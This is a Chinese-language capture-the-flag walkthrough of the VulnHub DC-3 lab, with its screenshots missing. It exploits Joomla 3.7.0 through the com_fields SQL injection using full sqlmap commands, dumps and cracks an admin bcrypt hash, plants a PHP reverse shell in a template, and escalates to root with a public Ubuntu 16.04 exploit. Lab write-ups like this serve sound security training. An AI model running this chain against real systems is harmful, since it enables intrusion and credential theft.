Bootstrap

vulnhub DC-3 靶机 walkthrough

Description

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won’t take you long at all (in fact, it could take you less than 20 minutes easily).

If that’s the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

实验

请添加图片描述

  • welcome
    • Welcome to DC-3.

      This time, there is only one flag, one entry point and no clues.

      To get the flag, you’ll obviously have to gain root privileges.

      How you get to be root is up to you - and, obviously, the system.

      Good luck - and I hope you enjoy this little challenge. 😃

请添加图片描述

请添加图片描述
请添加图片描述
请添加图片描述

  • 这里我使用的是 msfconsole 扫出了版本,在配置文件中也能查看版本
  • joomscan -u [url] 扫 joomla 漏洞无发现
    请添加图片描述
  • 查找 3.7.0 版本的漏洞
  • searchsploit joomla 3.7.0
    请添加图片描述
  • searchsploit -m php/webapps/42033.txt
  • 下载并查看
    请添加图片描述
    先复制 payload 到 url,查看输出信息
    请添加图片描述
  • sql语法报错,结合 payload 信息使用 sqlmap
  • sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
    请添加图片描述
    sqlmap -u "http://192.168.110.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]请添加图片描述
    sqlmap -u "http://192.168.110.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
  • 表名前缀
    • Joomla 的表前缀通常是 jos_ 或其他自定义前缀,而不是 #__
    • #__ 是 Joomla 在代码中使用的占位符,实际表名需要根据目标系统确定。
    • 如果表前缀是 jos_,则表名应为 jos_users
  • sqlmap -u "http://192.168.110.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T 'jos_users' --columns -p list[fullordering] --batch
  • 不过也没有用,建议不使用 --batch
    请添加图片描述
    sqlmap -u "http://192.168.110.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C username,password --dump -p list[fullordering]
    请添加图片描述
  • admin
  • $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
  • 现在需要解密这个 hash 值,根据 hash 的格式选择破解类型。
  • john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt.gz --format=bcrypt
    • 解说
      • 在使用 John the Ripper(简称 john)时,--format=bcrypt 参数用于指定哈希类型为 bcrypt。bcrypt 是一种广泛使用的密码哈希算法,通常用于安全存储用户密码。
        请添加图片描述
        请添加图片描述
        拿到 admin:snoopy
        登陆成功,找到一个文件上传点,随便上传一个文件并访问
        结合之前的目录扫描路径,推测文件路径
        请添加图片描述
        /templates/beez3/small_202204251139508.jpg
        请添加图片描述
        能成功访问
        现在需要把 一个php 脚本上传并反弹 shell
        locate php-reverse-shell.php
        修改好自己的 ip
        请添加图片描述
        请添加图片描述
        把 exp.php 复制到 /tmp/exp.php 然后进行上传。也可以直接粘贴内容到其他已知的 php 文件里。
        请添加图片描述
        由于一些原因上传失败,这里直接编辑。
        请添加图片描述
        访问 exp,本地起监听,获得 shell
        请添加图片描述
        查看内核版本信息
        请添加图片描述
        searchsploit ubuntu 16.04请添加图片描述
        searchsploit -m linux/local/39772.txt
        请添加图片描述
        靶机上 wget 下载到 exp 文件
        处理 exp 压缩包
        请添加图片描述
        请添加图片描述
        请添加图片描述
        请添加图片描述
        getshell
        请添加图片描述

总结

  • 扫描主机,确定 ip 和 版本,服务信息。
  • 访问 web 服务,指纹识别,目录扫描。
  • 查找 cms joomla 漏洞,sqlmap 打了一发,以 admin 登录后台。
  • 找到文件上传或者修改点,部署 exp.php 反弹shell。
  • 获取 shell,查看内核和操作系统发行版本。
  • 找到 ubuntu 16.04 权限提升漏洞,获得 root。
;